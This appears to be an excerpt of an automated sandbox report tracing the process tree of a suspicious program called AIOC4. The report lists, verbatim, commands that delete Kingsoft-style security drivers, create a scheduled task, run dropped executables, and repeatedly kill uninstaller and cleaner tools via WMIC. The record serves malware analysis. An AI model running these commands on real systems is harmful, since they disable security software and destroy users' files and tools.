C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C DEL /F /Q /A %SystemRoot%\System32\drivers\kisboot64.sys*6⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C REN %SystemRoot%\System32\drivers\kiscore.sys kiscore.sys.remove6⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C DEL /F /Q /A %SystemRoot%\System32\drivers\kiscore.sys*6⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C REN %SystemRoot%\System32\drivers\kisknl.sys kisknl.sys.remove6⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C DEL /F /Q /A %SystemRoot%\System32\drivers\kisknl.sys*6⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C REN %SystemRoot%\System32\drivers\kisknl_del.sys kisknl_del.sys.remove6⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C DEL /F /Q /A %SystemRoot%\System32\drivers\kisknl_del.sys*6⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C REN %SystemRoot%\System32\drivers\kisknl64_arm.sys kisknl64_arm.sys.remove6⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C DEL /F /Q /A %SystemRoot%\System32\drivers\kisknl64_arm.sys*6⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C REN %SystemRoot%\System32\drivers\kisnetflt.sys kisnetflt.sys.remove6⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C DEL /F /Q /A %SystemRoot%\System32\drivers\kisnetflt.sys*6⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C REN %SystemRoot%\System32\drivers\kisnetflt64_arm.sys kisnetflt64_arm.sys.remove6⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C DEL /F /Q /A %SystemRoot%\System32\drivers\kisnetflt64_arm.sys*6⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C REN %SystemRoot%\System32\drivers\kisnetm_ev.sys kisnetm_ev.sys.remove6⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C DEL /F /Q /A %SystemRoot%\System32\drivers\kisnetm_ev.sys*6⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C REN %SystemRoot%\System32\drivers\kisnetm64_arm.sys kisnetm64_arm.sys.remove6⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C DEL /F /Q /A %SystemRoot%\System32\drivers\kisnetm64_arm.sys*6⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C REN %SystemRoot%\System32\drivers\kisnetm64_ev.sys kisnetm64_ev.sys.remove6⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C DEL /F /Q /A %SystemRoot%\System32\drivers\kisnetm64_ev.sys*6⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C REN %SystemRoot%\System32\drivers\kisnetmxp.sys kisnetmxp.sys.remove6⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C DEL /F /Q /A %SystemRoot%\System32\drivers\kisnetmxp.sys*6⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C REN %SystemRoot%\System32\drivers\ksapi.sys ksapi.sys.remove6⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C DEL /F /Q /A %SystemRoot%\System32\drivers\ksapi.sys*6⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C REN %SystemRoot%\System32\drivers\ksapi64.sys ksapi64.sys.remove6⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C DEL /F /Q /A %SystemRoot%\System32\drivers\ksapi64.sys*6⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C REN %SystemRoot%\System32\drivers\ksapi64_arm.sys ksapi64_arm.sys.remove6⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C DEL /F /Q /A %SystemRoot%\System32\drivers\ksapi64_arm.sys*6⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C REN %SystemRoot%\System32\drivers\kusbquery.sys kusbquery.sys.remove6⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C DEL /F /Q /A %SystemRoot%\System32\drivers\kusbquery.sys*6⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C REN %SystemRoot%\System32\drivers\kusbquery64.sys kusbquery64.sys.remove6⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C DEL /F /Q /A %SystemRoot%\System32\drivers\kusbquery64.sys*6⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C REN %SystemRoot%\System32\drivers\tfossiksy.sys tfossiksy.sys.remove6⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C REN %SystemRoot%\System32\drivers\2345* 2345*.remove6⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C DEL /F /Q /A %SystemRoot%\System32\drivers\tfossiksy.sys*6⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C DEL /F /Q /A %SystemRoot%\System32\drivers\2345*6⤵
-
C:\Program Files\AIOC4\PrimaryScreen.exe"PrimaryScreen.exe" ScaleX6⤵
- Executes dropped EXE
-
C:\Windows\system32\CMD.exe"CMD" /C ver6⤵
-
C:\Program Files\AIOC4\AIOC4.exe"C:\Program Files\AIOC4\AIOC4.exe" /ClearAUTOUninstaller6⤵
- Executes dropped EXE
- Sets file execution options in registry
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /Create /TN "JServer" /XML "C:\Program Files\AIOC4\AIOC_Cache\Tools\JServer.XML"7⤵
- Creates scheduled task(s)
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C TASKKILL /F /IM AU_CN.exe7⤵
-
C:\Windows\system32\taskkill.exeTASKKILL /F /IM AU_CN.exe8⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C DEL /F /S /Q /A %TEMP%\*aioc_*7⤵
-
C:\ProgramData\Microsoft\s_a.exe"C:\ProgramData\Microsoft\s_a.exe"7⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C TASKKILL /F /IM "Easy remove - Autodesk系列软件卸载工具.exe"7⤵
-
C:\Windows\system32\taskkill.exeTASKKILL /F /IM "Easy remove - Autodesk系列软件卸载工具.exe"8⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C DEL /F /Q %ALLUSERSPROFILE%\*Easy*remove*7⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C DEL /F /Q %ALLUSERSPROFILE%\node.dll7⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C DEL /F /Q %ALLUSERSPROFILE%\mntemp7⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C DEL /F /Q %ALLUSERSPROFILE%\node7⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C DEL /F /Q %ALLUSERSPROFILE%\webconfig.ini7⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C DEL /F /Q %SystemRoot%\SysWOW64\NSudo*.exe7⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C DEL /F /Q %SystemRoot%\System32\NSudo*.exe7⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C RD /S /Q "C:\ProgramData\uninstall"7⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C RD /S /Q "C:\ProgramData\TEMP"7⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C C:\ProgramData\0.bat7⤵
-
C:\Windows\System32\Wbem\WMIC.exeWMIC PROCESS WHERE "Name LIKE '%auto%uninstaller%'" DELETE8⤵
-
C:\Windows\System32\Wbem\WMIC.exeWMIC PROCESS WHERE "Name LIKE '%au%cn%'" DELETE8⤵
-
C:\Windows\System32\Wbem\WMIC.exeWMIC PROCESS WHERE "Name LIKE '%@%'" DELETE8⤵
-
C:\Windows\System32\Wbem\WMIC.exeWMIC PROCESS WHERE "Name LIKE '%java%'" DELETE8⤵
-
C:\Windows\System32\Wbem\WMIC.exeWMIC PROCESS WHERE "Name LIKE '%Easy%remove%'" DELETE8⤵
-
C:\Windows\System32\Wbem\WMIC.exeWMIC PROCESS WHERE "Name LIKE '%geek%'" DELETE8⤵
-
C:\Windows\System32\Wbem\WMIC.exeWMIC PROCESS WHERE "Name LIKE '%iobit%'" DELETE8⤵
-
C:\Windows\System32\Wbem\WMIC.exeWMIC PROCESS WHERE "Name LIKE '%dism++%'" DELETE8⤵
-
C:\Windows\System32\Wbem\WMIC.exeWMIC PROCESS WHERE "Name LIKE '%CCleaner%'" DELETE8⤵
-
C:\Windows\System32\Wbem\WMIC.exeWMIC PROCESS WHERE "Name LIKE '%UninstallTool%' AND NOT ExecutablePath LIKE '%\\R1\\UninstallTool.exe'" DELETE8⤵
-
C:\Windows\System32\Wbem\WMIC.exeWMIC PROCESS WHERE "Name LIKE '%RegWorkshop%'" DELETE8⤵
-
C:\Windows\system32\PING.EXEping -n 2 0.0.0.08⤵
- Runs ping.exe
-
C:\Windows\System32\Wbem\WMIC.exeWMIC PROCESS WHERE "Name LIKE '%auto%uninstaller%'" DELETE8⤵
-
C:\Windows\System32\Wbem\WMIC.exeWMIC PROCESS WHERE "Name LIKE '%au%cn%'" DELETE8⤵
-
C:\Windows\System32\Wbem\WMIC.exeWMIC PROCESS WHERE "Name LIKE '%@%'" DELETE8⤵
-
C:\Windows\System32\Wbem\WMIC.exeWMIC PROCESS WHERE "Name LIKE '%java%'" DELETE8⤵
-
C:\Windows\System32\Wbem\WMIC.exeWMIC PROCESS WHERE "Name LIKE '%Easy%remove%'" DELETE8⤵
-
C:\Windows\System32\Wbem\WMIC.exeWMIC PROCESS WHERE "Name LIKE '%geek%'" DELETE8⤵
-
C:\Windows\System32\Wbem\WMIC.exeWMIC PROCESS WHERE "Name LIKE '%iobit%'" DELETE8⤵
-
C:\Windows\System32\Wbem\WMIC.exeWMIC PROCESS WHERE "Name LIKE '%dism++%'" DELETE8⤵
-
C:\Windows\System32\Wbem\WMIC.exeWMIC PROCESS WHERE "Name LIKE '%CCleaner%'" DELETE8⤵
-
C:\Windows\System32\Wbem\WMIC.exeWMIC PROCESS WHERE "Name LIKE '%UninstallTool%' AND NOT ExecutablePath LIKE '%\\R1\\UninstallTool.exe'" DELETE8⤵
-
C:\Windows\System32\Wbem\WMIC.exeWMIC PROCESS WHERE "Name LIKE '%RegWorkshop%'" DELETE8⤵
-
C:\Windows\system32\PING.EXEping -n 2 0.0.0.08⤵
- Runs ping.exe
-
C:\Windows\System32\Wbem\WMIC.exeWMIC PROCESS WHERE "Name LIKE '%auto%uninstaller%'" DELETE8⤵
-
C:\Windows\System32\Wbem\WMIC.exeWMIC PROCESS WHERE "Name LIKE '%au%cn%'" DELETE8⤵
-
C:\Windows\System32\Wbem\WMIC.exeWMIC PROCESS WHERE "Name LIKE '%@%'" DELETE8⤵
-
C:\Windows\System32\Wbem\WMIC.exeWMIC PROCESS WHERE "Name LIKE '%java%'" DELETE8⤵
-
C:\Windows\System32\Wbem\WMIC.exeWMIC PROCESS WHERE "Name LIKE '%Easy%remove%'" DELETE8⤵
-
C:\Windows\System32\Wbem\WMIC.exeWMIC PROCESS WHERE "Name LIKE '%geek%'" DELETE8⤵
-
C:\Windows\System32\Wbem\WMIC.exeWMIC PROCESS WHERE "Name LIKE '%iobit%'" DELETE8⤵
-
C:\Windows\System32\Wbem\WMIC.exeWMIC PROCESS WHERE "Name LIKE '%dism++%'" DELETE8⤵
-
C:\Windows\System32\Wbem\WMIC.exeWMIC PROCESS WHERE "Name LIKE '%CCleaner%'" DELETE8⤵
-
C:\Windows\System32\Wbem\WMIC.exeWMIC PROCESS WHERE "Name LIKE '%UninstallTool%' AND NOT ExecutablePath LIKE '%\\R1\\UninstallTool.exe'" DELETE8⤵
-
C:\Windows\System32\Wbem\WMIC.exeWMIC PROCESS WHERE "Name LIKE '%RegWorkshop%'" DELETE8⤵
-
C:\Windows\system32\PING.EXEping -n 2 0.0.0.08⤵
- Runs ping.exe
-
C:\Windows\System32\Wbem\WMIC.exeWMIC PROCESS WHERE "Name LIKE '%auto%uninstaller%'" DELETE8⤵
-
C:\Windows\System32\Wbem\WMIC.exeWMIC PROCESS WHERE "Name LIKE '%au%cn%'" DELETE8⤵
-
C:\Windows\System32\Wbem\WMIC.exeWMIC PROCESS WHERE "Name LIKE '%@%'" DELETE8⤵
-
C:\Windows\System32\Wbem\WMIC.exeWMIC PROCESS WHERE "Name LIKE '%java%'" DELETE8⤵
-
C:\Windows\System32\Wbem\WMIC.exeWMIC PROCESS WHERE "Name LIKE '%Easy%remove%'" DELETE8⤵
-
C:\Windows\System32\Wbem\WMIC.exeWMIC PROCESS WHERE "Name LIKE '%geek%'" DELETE8⤵
-
C:\Windows\System32\Wbem\WMIC.exeWMIC PROCESS WHERE "Name LIKE '%iobit%'" DELETE8⤵
-
C:\Windows\System32\Wbem\WMIC.exeWMIC PROCESS WHERE "Name LIKE '%dism++%'" DELETE8⤵
-
C:\Windows\System32\Wbem\WMIC.exeWMIC PROCESS WHERE "Name LIKE '%CCleaner%'" DELETE8⤵
-
C:\Windows\System32\Wbem\WMIC.exeWMIC PROCESS WHERE "Name LIKE '%UninstallTool%' AND NOT ExecutablePath LIKE '%\\R1\\UninstallTool.exe'" DELETE8⤵
-
C:\Windows\System32\Wbem\WMIC.exeWMIC PROCESS WHERE "Name LIKE '%RegWorkshop%'" DELETE8⤵
-
C:\Windows\system32\PING.EXEping -n 2 0.0.0.08⤵
- Runs ping.exe
-
C:\Windows\System32\Wbem\WMIC.exeWMIC PROCESS WHERE "Name LIKE '%auto%uninstaller%'" DELETE8⤵
-
C:\Windows\System32\Wbem\WMIC.exeWMIC PROCESS WHERE "Name LIKE '%au%cn%'" DELETE8⤵
-
C:\Windows\System32\Wbem\WMIC.exeWMIC PROCESS WHERE "Name LIKE '%@%'" DELETE8⤵
-
C:\Windows\System32\Wbem\WMIC.exeWMIC PROCESS WHERE "Name LIKE '%java%'" DELETE8⤵
-
C:\Windows\System32\Wbem\WMIC.exeWMIC PROCESS WHERE "Name LIKE '%Easy%remove%'" DELETE8⤵
-
C:\Windows\System32\Wbem\WMIC.exeWMIC PROCESS WHERE "Name LIKE '%geek%'" DELETE8⤵
-
C:\Windows\System32\Wbem\WMIC.exeWMIC PROCESS WHERE "Name LIKE '%iobit%'" DELETE8⤵
-
C:\Windows\System32\Wbem\WMIC.exeWMIC PROCESS WHERE "Name LIKE '%dism++%'" DELETE8⤵
-
C:\Windows\System32\Wbem\WMIC.exeWMIC PROCESS WHERE "Name LIKE '%CCleaner%'" DELETE8⤵
-
C:\Windows\System32\Wbem\WMIC.exeWMIC PROCESS WHERE "Name LIKE '%UninstallTool%' AND NOT ExecutablePath LIKE '%\\R1\\UninstallTool.exe'" DELETE8⤵
-
C:\Windows\System32\Wbem\WMIC.exeWMIC PROCESS WHERE "Name LIKE '%RegWorkshop%'" DELETE8⤵
-
C:\Windows\system32\PING.EXEping -n 2 0.0.0.08⤵
- Runs ping.exe
-
C:\Windows\System32\Wbem\WMIC.exeWMIC PROCESS WHERE "Name LIKE '%auto%uninstaller%'" DELETE8⤵
-
C:\Windows\System32\Wbem\WMIC.exeWMIC PROCESS WHERE "Name LIKE '%au%cn%'" DELETE8⤵
-
C:\Windows\System32\Wbem\WMIC.exeWMIC PROCESS WHERE "Name LIKE '%@%'" DELETE8⤵
-
C:\Windows\System32\Wbem\WMIC.exeWMIC PROCESS WHERE "Name LIKE '%java%'" DELETE8⤵
-
C:\Windows\System32\Wbem\WMIC.exeWMIC PROCESS WHERE "Name LIKE '%Easy%remove%'" DELETE8⤵
-
C:\Windows\System32\Wbem\WMIC.exeWMIC PROCESS WHERE "Name LIKE '%geek%'" DELETE8⤵
-
C:\Windows\System32\Wbem\WMIC.exeWMIC PROCESS WHERE "Name LIKE '%iobit%'" DELETE8⤵
-
C:\Windows\System32\Wbem\WMIC.exeWMIC PROCESS WHERE "Name LIKE '%dism++%'" DELETE8⤵
-
C:\Windows\System32\Wbem\WMIC.exeWMIC PROCESS WHERE "Name LIKE '%CCleaner%'" DELETE8⤵
-
C:\Windows\System32\Wbem\WMIC.exeWMIC PROCESS WHERE "Name LIKE '%UninstallTool%' AND NOT ExecutablePath LIKE '%\\R1\\UninstallTool.exe'" DELETE8⤵
-
C:\Windows\System32\Wbem\WMIC.exeWMIC PROCESS WHERE "Name LIKE '%RegWorkshop%'" DELETE8⤵
-
C:\Windows\system32\PING.EXEping -n 2 0.0.0.08⤵
- Runs ping.exe
-
C:\Windows\System32\Wbem\WMIC.exeWMIC PROCESS WHERE "Name LIKE '%auto%uninstaller%'" DELETE8⤵
-
C:\Windows\System32\Wbem\WMIC.exeWMIC PROCESS WHERE "Name LIKE '%au%cn%'" DELETE8⤵
-
C:\Windows\System32\Wbem\WMIC.exeWMIC PROCESS WHERE "Name LIKE '%@%'" DELETE8⤵
-
C:\Windows\System32\Wbem\WMIC.exeWMIC PROCESS WHERE "Name LIKE '%java%'" DELETE8⤵
-
C:\Windows\System32\Wbem\WMIC.exeWMIC PROCESS WHERE "Name LIKE '%Easy%remove%'" DELETE8⤵
-
C:\Windows\System32\Wbem\WMIC.exeWMIC PROCESS WHERE "Name LIKE '%geek%'" DELETE8⤵
-
C:\Windows\System32\Wbem\WMIC.exeWMIC PROCESS WHERE "Name LIKE '%iobit%'" DELETE8⤵
-
C:\Windows\System32\Wbem\WMIC.exeWMIC PROCESS WHERE "Name LIKE '%dism++%'" DELETE8⤵
-
C:\Windows\System32\Wbem\WMIC.exeWMIC PROCESS WHERE "Name LIKE '%CCleaner%'" DELETE8⤵
-
C:\Windows\System32\Wbem\WMIC.exeWMIC PROCESS WHERE "Name LIKE '%UninstallTool%' AND NOT ExecutablePath LIKE '%\\R1\\UninstallTool.exe'" DELETE8⤵
-
C:\Windows\System32\Wbem\WMIC.exeWMIC PROCESS WHERE "Name LIKE '%RegWorkshop%'" DELETE8⤵
-
C:\Windows\system32\PING.EXEping -n 2 0.0.0.08⤵
- Runs ping.exe
-
C:\Windows\System32\Wbem\WMIC.exeWMIC PROCESS WHERE "Name LIKE '%auto%uninstaller%'" DELETE8⤵
-
C:\Windows\System32\Wbem\WMIC.exeWMIC PROCESS WHERE "Name LIKE '%au%cn%'" DELETE8⤵
-
C:\Windows\System32\Wbem\WMIC.exeWMIC PROCESS WHERE "Name LIKE '%@%'" DELETE8⤵
-
C:\Windows\System32\Wbem\WMIC.exeWMIC PROCESS WHERE "Name LIKE '%java%'" DELETE8⤵
-
C:\Windows\System32\Wbem\WMIC.exeWMIC PROCESS WHERE "Name LIKE '%Easy%remove%'" DELETE8⤵
-
C:\Windows\System32\Wbem\WMIC.exeWMIC PROCESS WHERE "Name LIKE '%geek%'" DELETE8⤵
-
C:\Windows\System32\Wbem\WMIC.exeWMIC PROCESS WHERE "Name LIKE '%iobit%'" DELETE8⤵
-
C:\Windows\System32\Wbem\WMIC.exeWMIC PROCESS WHERE "Name LIKE '%dism++%'" DELETE8⤵
-
C:\Windows\System32\Wbem\WMIC.exeWMIC PROCESS WHERE "Name LIKE '%CCleaner%'" DELETE8⤵
-
C:\Windows\System32\Wbem\WMIC.exeWMIC PROCESS WHERE "Name LIKE '%UninstallTool%' AND NOT ExecutablePath LIKE '%\\R1\\UninstallTool.exe'" DELETE8⤵
-
C:\Windows\System32\Wbem\WMIC.exeWMIC PROCESS WHERE "Name LIKE '%RegWorkshop%'" DELETE8⤵
-
C:\Windows\system32\PING.EXEping -n 2 0.0.0.08⤵
- Runs ping.exe
-
C:\Windows\System32\Wbem\WMIC.exeWMIC PROCESS WHERE "Name LIKE '%auto%uninstaller%'" DELETE8⤵
-
C:\Windows\System32\Wbem\WMIC.exeWMIC PROCESS WHERE "Name LIKE '%au%cn%'" DELETE8⤵
-
C:\Windows\System32\Wbem\WMIC.exeWMIC PROCESS WHERE "Name LIKE '%@%'" DELETE8⤵
-
C:\Windows\System32\Wbem\WMIC.exeWMIC PROCESS WHERE "Name LIKE '%java%'" DELETE8⤵
-
C:\Windows\System32\Wbem\WMIC.exeWMIC PROCESS WHERE "Name LIKE '%Easy%remove%'" DELETE8⤵
-
C:\Windows\System32\Wbem\WMIC.exeWMIC PROCESS WHERE "Name LIKE '%geek%'" DELETE8⤵
-
C:\Windows\System32\Wbem\WMIC.exeWMIC PROCESS WHERE "Name LIKE '%iobit%'" DELETE8⤵
-
C:\Windows\System32\Wbem\WMIC.exeWMIC PROCESS WHERE "Name LIKE '%dism++%'" DELETE8⤵
-
C:\Windows\System32\Wbem\WMIC.exeWMIC PROCESS WHERE "Name LIKE '%CCleaner%'" DELETE8⤵
-
C:\Windows\System32\Wbem\WMIC.exeWMIC PROCESS WHERE "Name LIKE '%UninstallTool%' AND NOT ExecutablePath LIKE '%\\R1\\UninstallTool.exe'" DELETE8⤵
-
C:\Windows\System32\Wbem\WMIC.exeWMIC PROCESS WHERE "Name LIKE '%RegWorkshop%'" DELETE8⤵
-
C:\Windows\system32\PING.EXEping -n 2 0.0.0.08⤵
- Runs ping.exe
-
C:\Windows\System32\Wbem\WMIC.exeWMIC PROCESS WHERE "Name LIKE '%auto%uninstaller%'" DELETE8⤵
-
C:\Windows\System32\Wbem\WMIC.exeWMIC PROCESS WHERE "Name LIKE '%au%cn%'" DELETE8⤵
-
C:\Windows\System32\Wbem\WMIC.exeWMIC PROCESS WHERE "Name LIKE '%@%'" DELETE8⤵
-
C:\Windows\System32\Wbem\WMIC.exeWMIC PROCESS WHERE "Name LIKE '%java%'" DELETE8⤵
-
C:\Windows\System32\Wbem\WMIC.exeWMIC PROCESS WHERE "Name LIKE '%Easy%remove%'" DELETE8⤵
-
C:\Windows\System32\Wbem\WMIC.exeWMIC PROCESS WHERE "Name LIKE '%geek%'" DELETE8⤵
-
C:\Windows\System32\Wbem\WMIC.exeWMIC PROCESS WHERE "Name LIKE '%iobit%'" DELETE8⤵
-
C:\Windows\System32\Wbem\WMIC.exeWMIC PROCESS WHERE "Name LIKE '%dism++%'" DELETE8⤵
-
C:\Windows\System32\Wbem\WMIC.exeWMIC PROCESS WHERE "Name LIKE '%CCleaner%'" DELETE8⤵
-
C:\Windows\System32\Wbem\WMIC.exeWMIC PROCESS WHERE "Name LIKE '%UninstallTool%' AND NOT ExecutablePath LIKE '%\\R1\\UninstallTool.exe'" DELETE8⤵
-
C:\Windows\System32\Wbem\WMIC.exeWMIC PROCESS WHERE "Name LIKE '%RegWorkshop%'" DELETE8⤵
-
C:\Windows\system32\PING.EXEping -n 2 0.0.0.08⤵
- Runs ping.exe
-
C:\Windows\System32\Wbem\WMIC.exeWMIC PROCESS WHERE "Name LIKE '%auto%uninstaller%'" DELETE8⤵
-
C:\Windows\System32\Wbem\WMIC.exeWMIC PROCESS WHERE "Name LIKE '%au%cn%'" DELETE8⤵
-
C:\Windows\System32\Wbem\WMIC.exeWMIC PROCESS WHERE "Name LIKE '%@%'" DELETE8⤵
-
C:\Windows\System32\Wbem\WMIC.exeWMIC PROCESS WHERE "Name LIKE '%java%'" DELETE8⤵
-
C:\Windows\System32\Wbem\WMIC.exeWMIC PROCESS WHERE "Name LIKE '%Easy%remove%'" DELETE8⤵
-
C:\Windows\System32\Wbem\WMIC.exeWMIC PROCESS WHERE "Name LIKE '%geek%'" DELETE8⤵
-
C:\Windows\System32\Wbem\WMIC.exeWMIC PROCESS WHERE "Name LIKE '%iobit%'" DELETE8⤵
-
C:\Windows\System32\Wbem\WMIC.exeWMIC PROCESS WHERE "Name LIKE '%dism++%'" DELETE8⤵
-
C:\Windows\System32\Wbem\WMIC.exeWMIC PROCESS WHERE "Name LIKE '%CCleaner%'" DELETE8⤵
-
C:\Windows\System32\Wbem\WMIC.exeWMIC PROCESS WHERE "Name LIKE '%UninstallTool%' AND NOT ExecutablePath LIKE '%\\R1\\UninstallTool.exe'" DELETE8⤵
-
C:\Windows\System32\Wbem\WMIC.exeWMIC PROCESS WHERE "Name LIKE '%RegWorkshop%'" DELETE8⤵
-
C:\Windows\system32\PING.EXEping -n 2 0.0.0.08⤵
- Runs ping.exe
-
C:\Windows\System32\Wbem\WMIC.exeWMIC PROCESS WHERE "Name LIKE '%auto%uninstaller%'" DELETE8⤵
-
C:\Windows\System32\Wbem\WMIC.exeWMIC PROCESS WHERE "Name LIKE '%au%cn%'" DELETE8⤵
-
C:\Windows\System32\Wbem\WMIC.exeWMIC PROCESS WHERE "Name LIKE '%@%'" DELETE8⤵
-
C:\Windows\System32\Wbem\WMIC.exeWMIC PROCESS WHERE "Name LIKE '%java%'" DELETE8⤵
-
C:\Windows\System32\Wbem\WMIC.exeWMIC PROCESS WHERE "Name LIKE '%Easy%remove%'" DELETE8⤵
-
C:\Windows\System32\Wbem\WMIC.exeWMIC PROCESS WHERE "Name LIKE '%geek%'" DELETE8⤵
-
C:\Windows\System32\Wbem\WMIC.exeWMIC PROCESS WHERE "Name LIKE '%iobit%'" DELETE8⤵
-
C:\Windows\System32\Wbem\WMIC.exeWMIC PROCESS WHERE "Name LIKE '%dism++%'" DELETE8⤵
-
C:\Windows\System32\Wbem\WMIC.exeWMIC PROCESS WHERE "Name LIKE '%CCleaner%'" DELETE8⤵
-
C:\Windows\System32\Wbem\WMIC.exeWMIC PROCESS WHERE "Name LIKE '%UninstallTool%' AND NOT ExecutablePath LIKE '%\\R1\\UninstallTool.exe'" DELETE8⤵
-
C:\Windows\System32\Wbem\WMIC.exeWMIC PROCESS WHERE "Name LIKE '%RegWorkshop%'" DELETE8⤵
-
C:\Windows\system32\PING.EXEping -n 2 0.0.0.08⤵
- Runs ping.exe
-
C:\Windows\System32\Wbem\WMIC.exeWMIC PROCESS WHERE "Name LIKE '%auto%uninstaller%'" DELETE8⤵
-
C:\Windows\System32\Wbem\WMIC.exeWMIC PROCESS WHERE "Name LIKE '%au%cn%'" DELETE8⤵
-
C:\Windows\System32\Wbem\WMIC.exeWMIC PROCESS WHERE "Name LIKE '%@%'" DELETE8⤵
-
C:\Windows\System32\Wbem\WMIC.exeWMIC PROCESS WHERE "Name LIKE '%java%'" DELETE8⤵
-
C:\Windows\System32\Wbem\WMIC.exeWMIC PROCESS WHERE "Name LIKE '%Easy%remove%'" DELETE8⤵
-
C:\Windows\System32\Wbem\WMIC.exeWMIC PROCESS WHERE "Name LIKE '%geek%'" DELETE8⤵
-
C:\Windows\System32\Wbem\WMIC.exeWMIC PROCESS WHERE "Name LIKE '%iobit%'" DELETE8⤵
-
C:\Windows\System32\Wbem\WMIC.exeWMIC PROCESS WHERE "Name LIKE '%dism++%'" DELETE8⤵
-
C:\Windows\System32\Wbem\WMIC.exeWMIC PROCESS WHERE "Name LIKE '%CCleaner%'" DELETE8⤵
-
C:\Windows\System32\Wbem\WMIC.exeWMIC PROCESS WHERE "Name LIKE '%UninstallTool%' AND NOT ExecutablePath LIKE '%\\R1\\UninstallTool.exe'" DELETE8⤵
-
C:\Windows\System32\Wbem\WMIC.exeWMIC PROCESS WHERE "Name LIKE '%RegWorkshop%'" DELETE8⤵
-
C:\Windows\system32\PING.EXEping -n 2 0.0.0.08⤵
- Runs ping.exe
-
C:\Windows\System32\Wbem\WMIC.exeWMIC PROCESS WHERE "Name LIKE '%auto%uninstaller%'" DELETE8⤵
-
C:\Windows\System32\Wbem\WMIC.exeWMIC PROCESS WHERE "Name LIKE '%au%cn%'" DELETE8⤵
-
C:\Windows\System32\Wbem\WMIC.exeWMIC PROCESS WHERE "Name LIKE '%@%'" DELETE8⤵
-
C:\Windows\System32\Wbem\WMIC.exeWMIC PROCESS WHERE "Name LIKE '%java%'" DELETE8⤵
-
C:\Windows\System32\Wbem\WMIC.exeWMIC PROCESS WHERE "Name LIKE '%Easy%remove%'" DELETE8⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C DEL /F /A /Q "%SystemRoot%\*AUTO*Uninstaller*"7⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C DEL /F /A /Q "%SystemRoot%\System32\*AUTO*Uninstaller*"7⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C DEL /F /A /Q "%SystemRoot%\SysWOW64\*AUTO*Uninstaller*"7⤵
-
C:\Windows\system32\CMD.exe"CMD" /C DIR /AD /B C:\Windows\*AUTO*Uninstaller*7⤵
-
C:\Windows\system32\CMD.exe"CMD" /C DIR /AD /B C:\Windows\System32\*AUTO*Uninstaller*7⤵
-
C:\Windows\system32\CMD.exe"CMD" /C DIR /AD /B C:\Windows\SysWOW64\*AUTO*Uninstaller*7⤵
-
